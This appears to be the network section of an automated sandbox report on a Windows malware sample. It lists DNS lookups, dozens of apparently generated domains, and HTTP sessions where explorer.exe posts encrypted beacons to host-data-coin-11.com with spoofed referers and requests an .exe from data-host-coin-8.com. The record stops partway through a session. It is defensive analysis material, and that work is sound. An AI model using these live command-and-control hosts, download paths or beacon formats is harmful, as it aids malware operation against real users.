DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Dec 31, 2021 19:12:38.047254086 CET	8.8.8.8	192.168.2.3	0x431f	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:38.251805067 CET	8.8.8.8	192.168.2.3	0x869	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:38.704139948 CET	8.8.8.8	192.168.2.3	0xabc	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.125112057 CET	8.8.8.8	192.168.2.3	0x23b0	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.278506041 CET	8.8.8.8	192.168.2.3	0x9157	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.453289986 CET	8.8.8.8	192.168.2.3	0x622b	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:39.876538038 CET	8.8.8.8	192.168.2.3	0x2185	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.257894993 CET	8.8.8.8	192.168.2.3	0xcf2c	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.435309887 CET	8.8.8.8	192.168.2.3	0x1e7b	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:41.856812954 CET	8.8.8.8	192.168.2.3	0xf13a	No error (0)	data-host-coin-8.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:42.003417969 CET	8.8.8.8	192.168.2.3	0x453d	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:42.156640053 CET	8.8.8.8	192.168.2.3	0x9bd	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:49.796500921 CET	8.8.8.8	192.168.2.3	0xf7b4	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:50.220361948 CET	8.8.8.8	192.168.2.3	0x4ba4	No error (0)	privacytools-foryou-777.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:51.911012888 CET	8.8.8.8	192.168.2.3	0x23aa	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.069231033 CET	8.8.8.8	192.168.2.3	0x92b6	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.309473991 CET	8.8.8.8	192.168.2.3	0x63a5	No error (0)	unicupload.top	54.38.220.85	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.383385897 CET	8.8.8.8	192.168.2.3	0xc935	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.537987947 CET	8.8.8.8	192.168.2.3	0x49b6	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.690954924 CET	8.8.8.8	192.168.2.3	0xbeff	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:52.847181082 CET	8.8.8.8	192.168.2.3	0x57be	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:53.043366909 CET	8.8.8.8	192.168.2.3	0xe220	No error (0)	data-host-coin-8.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.452089071 CET	8.8.8.8	192.168.2.3	0xef79	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.652631044 CET	8.8.8.8	192.168.2.3	0x32f8	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.805742025 CET	8.8.8.8	192.168.2.3	0x946	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:55.965945959 CET	8.8.8.8	192.168.2.3	0x5047	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:57.882669926 CET	8.8.8.8	192.168.2.3	0xb257	No error (0)	file-file-host4.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.135130882 CET	8.8.8.8	192.168.2.3	0xc39a	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.332047939 CET	8.8.8.8	192.168.2.3	0x88f2	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.485996962 CET	8.8.8.8	192.168.2.3	0x91b9	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.652795076 CET	8.8.8.8	192.168.2.3	0xbfae	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.652795076 CET	8.8.8.8	192.168.2.3	0xbfae	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.652795076 CET	8.8.8.8	192.168.2.3	0xbfae	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.652795076 CET	8.8.8.8	192.168.2.3	0xbfae	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Dec 31, 2021 19:12:58.652795076 CET	8.8.8.8	192.168.2.3	0xbfae	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:00.417566061 CET	8.8.8.8	192.168.2.3	0x5e28	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:00.566513062 CET	8.8.8.8	192.168.2.3	0x7fc7	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:00.721328974 CET	8.8.8.8	192.168.2.3	0x4faa	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:22.223485947 CET	8.8.8.8	192.168.2.3	0xf2fc	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:22.377876997 CET	8.8.8.8	192.168.2.3	0xc459	No error (0)	data-host-coin-8.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.217138052 CET	8.8.8.8	192.168.2.3	0x1ebd	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.390351057 CET	8.8.8.8	192.168.2.3	0xce2e	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.548023939 CET	8.8.8.8	192.168.2.3	0xc5eb	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.712812901 CET	8.8.8.8	192.168.2.3	0x844e	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:25.867194891 CET	8.8.8.8	192.168.2.3	0x2320	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:26.031680107 CET	8.8.8.8	192.168.2.3	0x9175	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:28.613836050 CET	8.8.8.8	192.168.2.3	0x265e	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:28.831320047 CET	8.8.8.8	192.168.2.3	0xec42	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:28.982321024 CET	8.8.8.8	192.168.2.3	0x20f7	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.139548063 CET	8.8.8.8	192.168.2.3	0x1540	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.305372953 CET	8.8.8.8	192.168.2.3	0x5ce4	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.479072094 CET	8.8.8.8	192.168.2.3	0xc9dc	No error (0)	bit.ly	67.199.248.10	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.479072094 CET	8.8.8.8	192.168.2.3	0xc9dc	No error (0)	bit.ly	67.199.248.11	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.687712908 CET	8.8.8.8	192.168.2.3	0x88c7	No error (0)	bitly.com	67.199.248.14	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.687712908 CET	8.8.8.8	192.168.2.3	0x88c7	No error (0)	bitly.com	67.199.248.15	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:29.895714045 CET	8.8.8.8	192.168.2.3	0x557b	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.058479071 CET	8.8.8.8	192.168.2.3	0xa8ea	No error (0)	transfer.sh	144.76.136.153	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.807003975 CET	8.8.8.8	192.168.2.3	0xc627	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.977056980 CET	8.8.8.8	192.168.2.3	0x2a2f	No error (0)	short.link	172.67.158.215	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:30.977056980 CET	8.8.8.8	192.168.2.3	0x2a2f	No error (0)	short.link	104.21.41.11	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:31.207915068 CET	8.8.8.8	192.168.2.3	0x9e5c	No error (0)	dodecoin.org	164.132.207.80	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:32.616744041 CET	8.8.8.8	192.168.2.3	0x39d8	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:13:32.802588940 CET	8.8.8.8	192.168.2.3	0x96fb	No error (0)	host-data-coin-11.com	31.28.27.130	A (IP address)	IN (0x0001)
Dec 31, 2021 19:14:06.189516068 CET	8.8.8.8	192.168.2.3	0xdb86	No error (0)	t.me	149.154.167.99	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

bit.ly

bitly.com

transfer.sh

short.link

dodecoin.org

hxdjiru.com

host-data-coin-11.com

mmvvc.com

svqrvcsnva.org

bqubwhk.net

fxnxroil.net

pvpowvbl.net

fwoddy.net

qletm.net

gshkfpnjsj.com

data-host-coin-8.com

eiahpr.com

xleusjfhnf.org

maqeavkm.com

privacytools-foryou-777.com

ofuehyq.net

mcmkh.net

unicupload.top

ykycncaclo.net

ldhnslyi.net

aeeqrthiih.org

jrwnk.com

kquxqntakf.net

hqtfgqvcew.com

bpjejftnc.net

spdqunibrd.org

185.7.214.171:8080

file-file-host4.com

mlsdjxn.org

ulttivelh.com

dnlrqywjou.net

lmrnsecsyy.com

pjinoged.net

fodkvo.com

hpdhk.com

jtoaj.com

heocl.net

qslreuhamb.com

psxeujwpx.net

imjii.net

huuhypjojt.net

91.243.44.128

alvmf.net

lmejikyses.org

wuvrdu.net

jlggyrd.org

mlffung.com

flpqjwn.net

ecisb.com

vdktv.net

wgorhofx.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49820	162.159.133.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49856	67.199.248.10	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49761	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:39.328047037 CET	1025	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fxnxroil.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: host-data-coin-11.com
Dec 31, 2021 19:12:39.330317020 CET	1026	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 56 83 a8 77 Data Ascii: lIw3xKaEMnXwmDu$f]dVw1YF{,F ^\Hg[@d%_]vY[F$3w#2jU_.{kEFK2!%=pVE-_l..u>N85_Pl:,b/
Dec 31, 2021 19:12:39.403669119 CET	1026	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49762	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:39.503765106 CET	1027	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pvpowvbl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 169 Host: host-data-coin-11.com
Dec 31, 2021 19:12:39.503809929 CET	1027	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 4b c0 dd 7b Data Ascii: lIw3xKaEMnXwmDu$f]dK{i[beMS3da[<(jqY+LIQupW.AIm Q\|PXT2m
Dec 31, 2021 19:12:39.580632925 CET	1028	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49763	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:39.928385973 CET	1029	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fwoddy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 203 Host: host-data-coin-11.com
Dec 31, 2021 19:12:39.928437948 CET	1029	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 39 c3 a6 0d Data Ascii: lIw3xKaEMnXwmDu$f]d9"z#x#Mo[-))}uy~A8a$G7VtQXS.t~$@$'<#M]nf77Tb~RtFbX"DfdJ
Dec 31, 2021 19:12:40.017127991 CET	1029	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49765	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:41.308212996 CET	1030	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qletm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 203 Host: host-data-coin-11.com
Dec 31, 2021 19:12:41.309293032 CET	1031	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 26 b7 b7 1d Data Ascii: lIw3xKaEMnXwmDu$f]d&C^sN.5 i!w4{;+79O(K&JcOQ a=J(fnWGZY:Rhv@]AU
Dec 31, 2021 19:12:41.411436081 CET	1031	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49766	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:41.484885931 CET	1032	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gshkfpnjsj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 220 Host: host-data-coin-11.com
Dec 31, 2021 19:12:41.484894991 CET	1032	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 4c cc cc 7a Data Ascii: lIw3xKaEMnXwmDu$f]dLz".ubEUWa5:HR"$@w\w=mjC;Vy*+k))[3z(Q$o3S51F1V +AQC4XmnUnW@h
Dec 31, 2021 19:12:41.561736107 CET	1033	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef ae 8a 70 bc 57 dd 42 d6 f7 23 8c 21 e6 c3 93 50 2c e2 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9KpWB#!P,c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49767	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:41.906543970 CET	1034	OUT	GET /files/5376_1640094939_1074.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 31, 2021 19:12:41.966094971 CET	1034	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:41 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Data Raw: 31 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 61 74 61 2d 68 6f 73 74 2d 63 6f 69 6e 2d 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at data-host-coin-8.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49768	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:42.053189993 CET	1035	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eiahpr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: host-data-coin-11.com
Dec 31, 2021 19:12:42.054467916 CET	1035	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 1e ad 86 70 Data Ascii: lIw3xKaEMnXwmDu$f]dp?~pX"jG;[*{8#p<<T)qT){\|Os=pAA&xG8%&tWv8qo/P/Vp/fACSw]R_ddD'u8sEY'
Dec 31, 2021 19:12:42.132364035 CET	1036	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:12:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49769	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:12:42.206155062 CET	1036	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xleusjfhnf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 343 Host: host-data-coin-11.com
Dec 31, 2021 19:12:42.206497908 CET	1037	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 5b 85 de 73 Data Ascii: lIw3xKaEMnXwmDu$f]d[s!K4qGgy6I_\|e~JuedHzO3Q(+tYzL4re1R{muA@(}+3p[s=.otN%>GGnm&}Y?go+OhB*]
